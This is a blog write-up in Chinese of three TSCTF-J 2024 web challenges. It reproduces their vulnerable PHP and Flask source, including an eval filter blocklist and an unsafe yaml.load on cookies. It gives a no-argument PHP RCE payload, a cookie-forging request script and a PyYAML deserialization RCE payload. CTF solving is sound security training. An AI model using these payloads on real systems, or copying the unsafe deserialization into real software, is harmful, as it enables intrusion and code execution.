首页 > 其他分享 >TSCTF-J 2024秋部分wp

TSCTF-J 2024秋部分wp

时间:2024-09-23 10:23:06浏览次数:9  
标签:guess color request 2024 session wp TSCTF password data

RCE ME !!!

一道签到,无参数RCE.

<?php
highlight_file(__FILE__);
if(isset($_GET['cmd'])){
    $cmd= $_GET['cmd'];
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\/|zip:\/\//i', $cmd)) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $cmd)) {
            if (!preg_match('/pwd|tac|cat|chr|ord|ls|dir|conv|info|hex|bin|rand|array|source|file|cwd|dfined|system|assert|sess/i',$cmd)){
                @eval($cmd);
            }
            else{
                die("不是,哥们!");
            }
        }
        else{
            die("真的是这样吗?");
        }
    }
    else{
        die("是这样的吗?");
    }
}

实际上看到第二个preg就会意识到考察的是无参数rce,使用payload如下就能打

eval(end(current(get_defined_vars())));&a=phpinfo();

flag放在了环境变量中

alpaca_search

本来是没有这道题的,但是在比赛时发现没有发包题.去年好歹有个十年之约,索性临场搞一个.
后端逻辑如下:

from flask import Flask, request, render_template_string, redirect, url_for, make_response
import random
import yaml
import html
import base64
import io
import sys

app = Flask(__name__)
app.secret_key = 'super_secret_key'

# 使用的用户凭证
valid_username = "admin"
valid_password = "guest"

# 伪造的flag存储文件
FLAG_PATH = "flag"

# 基础页面样式
base_styles = '''
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f4;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
        }
        .container {
            background-color: white;
            border-radius: 10px;
            box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);
            padding: 20px;
            max-width: 400px;
            width: 100%;
        }
        h2 {
            text-align: center;
            color: #333;
        }
        form {
            display: flex;
            flex-direction: column;
        }
        input[type="text"], input[type="password"], input[type="number"] {
            padding: 10px;
            margin: 10px 0;
            border: 1px solid #ccc;
            border-radius: 5px;
            font-size: 16px;
        }
        input[type="submit"] {
            background-color: #5cb85c;
            color: white;
            padding: 10px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            font-size: 16px;
            margin-top: 10px;
        }
        input[type="submit"]:hover {
            background-color: #4cae4c;
        }
        p {
            color: #666;
            font-size: 14px;
            text-align: center;
        }
        .error {
            color: red;
            text-align: center;
            margin-top: 10px;
        }
        .rules {
            font-size: 14px;
            margin-bottom: 20px;
            color: #555;
        }
    </style>
'''

# 登录页面HTML
login_page = '''
    ''' + base_styles + '''
    <div class="container">
        <h2>Login</h2>
        <p>Please log in to find the alpaca.</p>
        <form method="POST" action="/login">
            <input type="text" name="username" placeholder="Username" required><br>
            <input type="password" name="password" placeholder="Password" required><br>
            <input type="submit" value="Login">
        </form>
        {% if error %}
            <p class="error">{{ error }}</p>
        {% endif %}
    </div>
    '''

# 猜数字页面HTML
guess_page = '''
    ''' + base_styles + '''
    <div class="container">
        <h2>Search the alpaca</h2>
        <div class="rules">
            <p>Game Rules:</p>
            <ol>
                <li>The goal is to guess the correct hole where alpaca hides between 0 and 99 (inclusive).</li>
                <li>If you guess the correct number 1000 times, you will receive the flag.</li>
                <li>Oh, I do think you can find him</li>
            </ol>
        </div>
        <form method="POST" action="/guess">
            <input type="number" name="guess" min="0" max="99" placeholder="Enter a number" required><br>
            <input type="submit" value="Submit">
        </form>
        <p>{{ message }}</p>
    </div>
    '''

# 修正解码前的 Base64 字符串填充
def pad_base64(data):
    missing_padding = len(data) % 4
    if (missing_padding):
        data += '=' * (4 - missing_padding)
    return data


@app.route('/login', methods=['GET', 'POST'])
def login():
    error = None
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']

        if username == valid_username and password == valid_password:
            user_data = [{'username': username, 'password': password}]
            serialized_data = yaml.dump(user_data)
            encoded_data = base64.b64encode(serialized_data.encode()).decode()
            resp = make_response(redirect(url_for('guess')))
            resp.set_cookie('session', encoded_data)
            return resp
        else:
            error = "Invalid credentials"

    return render_template_string(login_page, error=error)

@app.route('/guess', methods=['GET', 'POST'])
def guess():
    session_data = request.cookies.get('session')
    if not session_data:
        return redirect(url_for('login'))

    debug_info = ""
    try:
        # 修正解码前的 Base64 字符串
        session_data = pad_base64(session_data)

        # 处理 URL 编码后的 Base64 字符串
        session_data = session_data.replace('-', '+').replace('_', '/')

        # Base64 解码
        decoded_data = base64.b64decode(session_data.encode()).decode()

        # HTML 实体解码
        unescaped_data = html.unescape(decoded_data)

        # YAML 反序列化
        user_info = yaml.load(unescaped_data)  # 使用完整的 Loader

        # 将反序列化后的结果转换为字符串
        debug_info += f"\n{user_info}\n"

    except Exception as e:
        debug_info = f"Error during session processing: {str(e)}"

    message = ""
    if request.method == 'POST':
        try:
            guess = int(request.form['guess'])
            correct_number = random.randint(0, 99)  # 修改随机数范围为0到99
            if guess == correct_number:
                if request.cookies.get('counter'):
                    counter = int(request.cookies.get('counter'))
                else:
                    counter = 0

                counter += 1

                if counter >= 1000:
                    with open(FLAG_PATH, 'r') as f:
                        flag = f.read()
                    return flag
                else:
                    resp = make_response(render_template_string(guess_page, message=f'Correct! Counter: {counter}\n{debug_info}'))
                    resp.set_cookie('counter', str(counter))
                    return resp
            else:
                message = "Incorrect guess. Try again."
        except ValueError:
            message = "Invalid input. Please enter a number between 0 and 99."

    return render_template_string(guess_page, message=message + "\n" + debug_info)

# 根路径重定向到登录页面
@app.route('/')
def index():
    return redirect(url_for('login'))

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

首先admin和guest弱密码登录.然后去进行游戏.
不难发现在对了一次后包中的cookie存在counter.直接伪造cookie进行发包,写出脚本如下.

import requests

url = "http://challenges.hazmat.buptmerak.cn:21762/guess"
header = {
        'Host': 'challenges.hazmat.buptmerak.cn:20761',
        'Cookie': f"session = LSB7cGFzc3dvcmQ6IGd1ZXN0LCB1c2VybmFtZTogYWRtaW59Cg ==;counter = 999"
    }

a = ''
while True:
    for i in range(0, 100):
        data = {
            'guess': f'{i}'
        }

        response = requests.post(url, headers=header, data=data)
        a = response.text
        if 'Tsctf' in a:
            break
    if 'Tsctf' in a:
        break

print(a)

alpaca_search_again

后端代码逻辑如下

from flask import Flask, request, render_template_string, redirect, url_for, make_response
import random
import yaml
import html
import base64
import io
import sys

app = Flask(__name__)
app.secret_key = 'super_secret_key'

# 使用的用户凭证
valid_username = "admin"
valid_password = "admin"

# 伪造的flag存储文件
FLAG_PATH = "flag"

# 基础页面样式
base_styles = '''
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f4;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
        }
        .container {
            background-color: white;
            border-radius: 10px;
            box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);
            padding: 20px;
            max-width: 400px;
            width: 100%;
        }
        h2 {
            text-align: center;
            color: #333;
        }
        form {
            display: flex;
            flex-direction: column;
        }
        input[type="text"], input[type="password"], input[type="number"] {
            padding: 10px;
            margin: 10px 0;
            border: 1px solid #ccc;
            border-radius: 5px;
            font-size: 16px;
        }
        input[type="submit"] {
            background-color: #5cb85c;
            color: white;
            padding: 10px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            font-size: 16px;
            margin-top: 10px;
        }
        input[type="submit"]:hover {
            background-color: #4cae4c;
        }
        p {
            color: #666;
            font-size: 14px;
            text-align: center;
        }
        .error {
            color: red;
            text-align: center;
            margin-top: 10px;
        }
        .rules {
            font-size: 14px;
            margin-bottom: 20px;
            color: #555;
        }
    </style>
'''

# 登录页面HTML
login_page = '''
    ''' + base_styles + '''
    <div class="container">
        <h2>Login</h2>
        <p>Please log in to find the alpaca.</p>
        <form method="POST" action="/login">
            <input type="text" name="username" placeholder="Username" required><br>
            <input type="password" name="password" placeholder="Password" required><br>
            <input type="submit" value="Login">
        </form>
        {% if error %}
            <p class="error">{{ error }}</p>
        {% endif %}
    </div>
    '''

# 猜数字页面HTML
guess_page = '''
    ''' + base_styles + '''
    <div class="container">
        <h2>Search the alpaca</h2>
        <div class="rules">
            <p>Game Rules:</p>
            <ol>
                <li>The goal is to guess the correct hole where alpaca hides between 0 and 99 (inclusive).</li>
                <li>If you guess the correct number 1000 times, you will receive the flag.</li>
                <li>Oh, I do think you can find him</li>
            </ol>
        </div>
        <form method="POST" action="/guess">
            <input type="number" name="guess" min="0" max="99" placeholder="Enter a number" required><br>
            <input type="submit" value="Submit">
        </form>
        <p>{{ message }}</p>
    </div>
    '''

# 修正解码前的 Base64 字符串填充
def pad_base64(data):
    missing_padding = len(data) % 4
    if (missing_padding):
        data += '=' * (4 - missing_padding)
    return data


@app.route('/login', methods=['GET', 'POST'])
def login():
    error = None
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']

        if username == valid_username and password == valid_password:
            user_data = [{'username': username, 'password': password}]
            serialized_data = yaml.dump(user_data)
            encoded_data = base64.b64encode(serialized_data.encode()).decode()
            resp = make_response(redirect(url_for('guess')))
            resp.set_cookie('session', encoded_data)
            return resp
        else:
            error = "Invalid credentials"

    return render_template_string(login_page, error=error)

@app.route('/guess', methods=['GET', 'POST'])
def guess():
    session_data = request.cookies.get('session')
    if not session_data:
        return redirect(url_for('login'))

    debug_info = ""
    try:
        # 修正解码前的 Base64 字符串
        session_data = pad_base64(session_data)

        # 处理 URL 编码后的 Base64 字符串
        session_data = session_data.replace('-', '+').replace('_', '/')

        # Base64 解码
        decoded_data = base64.b64decode(session_data.encode()).decode()

        # HTML 实体解码
        unescaped_data = html.unescape(decoded_data)

        # YAML 反序列化
        user_info = yaml.load(unescaped_data)  # 使用完整的 Loader

        # 将反序列化后的结果转换为字符串
        debug_info += f"\n{user_info}\n"

    except Exception as e:
        debug_info = f"Error during session processing: {str(e)}"

    message = ""
    if request.method == 'POST':
        try:
            guess = int(request.form['guess'])
            message = "Incorrect guess. Try again."
        except ValueError:
            message = "Invalid input. Please enter a number between 0 and 99."

    return render_template_string(guess_page, message=message + "\n" + debug_info)

# 根路径重定向到登录页面
@app.route('/')
def index():
    return redirect(url_for('login'))

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

和alpaca_search相比删除了后端进行回合计数的逻辑.也就说,靠counter去跳过回合不可用了.
我们发现cookie中存在session为LSB7cGFzc3dvcmQ6IGFkbWluLCB1c2VybmFtZTogYWRtaW59Cg==,base64解码如下
image
熟悉的话会发现这是个yaml数据,显然有说法(有时也会触发pyyaml报错)
打pyyaml<5.1版本RCE.
由于需要在web端有回显,所以需要捕获标准输出而不能将其输出在控制台.选用getoutput(或check_output).

!!python/object/apply:subprocess.getoutput ["ls"]

如果你先做alpaca_search_again,后做alpaca_search的话,那么会发现pyyaml两个都会通.然而实际不会有人这么做的

标签:guess,color,request,2024,session,wp,TSCTF,password,data
From: https://www.cnblogs.com/meraklbz/p/18426538

相关文章

  • WPF Control+C short cuts to close the window
    //xaml<Windowx:Class="WpfApp402.MainWindow"xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"xmlns:d="http://schemas.mi......
  • jetbrains 全家桶激活码(2024年9月22日更新)
    O5JJ0Q0C8Q-eyJsaWNlbnNlSWQiOiJPNUpKMFEwQzhRIiwibGljZW5zZWVOYW1lIjoi5r+A5rS75Zyw5Z2AIGlkZWHCt21lZGVtaW5nwrdjb20iLCJsaWNlbnNlZVR5cGUiOiJQRVJTT05BTCIsImFzc2lnbmVlTmFtZSI6IiIsImFzc2lnbmVlRW1haWwiOiIiLCJsaWNlbnNlUmVzdHJpY3Rpb24iOiIiLCJjaGVja0NvbmN1cnJlbnRVc2Ui......
  • DevExpress WPF中文教程:如何解决行焦点、选择的常见问题?
    DevExpressWPF拥有120+个控件和库,将帮助您交付满足甚至超出企业需求的高性能业务应用程序。通过DevExpressWPF能创建有着强大互动功能的XAML基础应用程序,这些应用程序专注于当代客户的需求和构建未来新一代支持触摸的解决方案。无论是Office办公软件的衍伸产品,还是以数据为中心......
  • EI, Scopus检索 | 计算机领域国际会议论文征稿:第三届信息学,网络与计算技术国际学术会
    河南大学主办,SPIE独立出版,连续2届稳定EI检索! 往届录用稿件已100%EI检索--见刊后1个月检索-高录用-稳检索!第三届信息学,网络与计算技术国际学术会议(ICINC2024)20243rd InternationalConferenceonInformatics,NetworkingandComputing大会时间:2024年10月25-27日......
  • EI, Scopus检索 | 能源电力类国际会议论文征稿:2024博鳌新型电力系统国际论坛——电力
    重要信息大会官网:www.npsif.net【论文投稿】 大会时间:2024年10月30-11月1日大会地点:中国·海南博鳌截稿时间:见官网论文出版:IEEE(ISBN:979-8-3315-0455-7)出版提交检索:EI-Compendex,IEEEX-plore,Scopus主办单位:中国南方电网有限责任公司承办单位:博鳌新型电力系统协会......
  • 【2024-09-22】连岳摘抄
    23:59秋气堪悲未必然,轻寒正是可人天。绿池落尽红蕖却,荷叶犹开最小钱。                                              ——《秋凉晚步》宋·杨万里教育的大民主,导致教育的大......
  • 【2024-09-21】连岳摘抄
    23:59生活往往就是这样,没有简单的答案。我们能做的就是反复自问,这样我们的心智才会一步步走向成熟。                                              ——M·斯科特.派克人生......
  • 函数支持,Fast Request 2024.1.7 发布
    FastRequest是一个类似于Postman的IDEA插件。它是一个强大的restfulapi工具包插件,可以根据已有的方法帮助您快速、自动生成url和params。RestfulFastRequest=API调试工具+API管理工具+API搜索工具。它有一个漂亮的界面来完成请求、检查服务器响应、存储你......
  • 2024.9.16(周一)
    今天主要是安装hbase数据库,出现的问题是运行hbaseshell输入list,等基本语句报错,例如ERROR:Can'tgetmasteraddressfromZooKeeper;znodedata==nullHereissomehelpforthiscommand:Listalltablesinhbase.Optionalregularexpressionparametercouldbeuse......
  • 2024.9.17(周二)
    出现问题1:HBase的配置文件可能缺少必要的参数或配置错误。解决办法:检查hbase-site.xml中的配置,确保至少配置了hbase.rootdir(指向HDFS的目录)。示例配置:<configuration><property><name>hbase.rootdir</name><value>hdfs://localhost:9000/hbase</valu......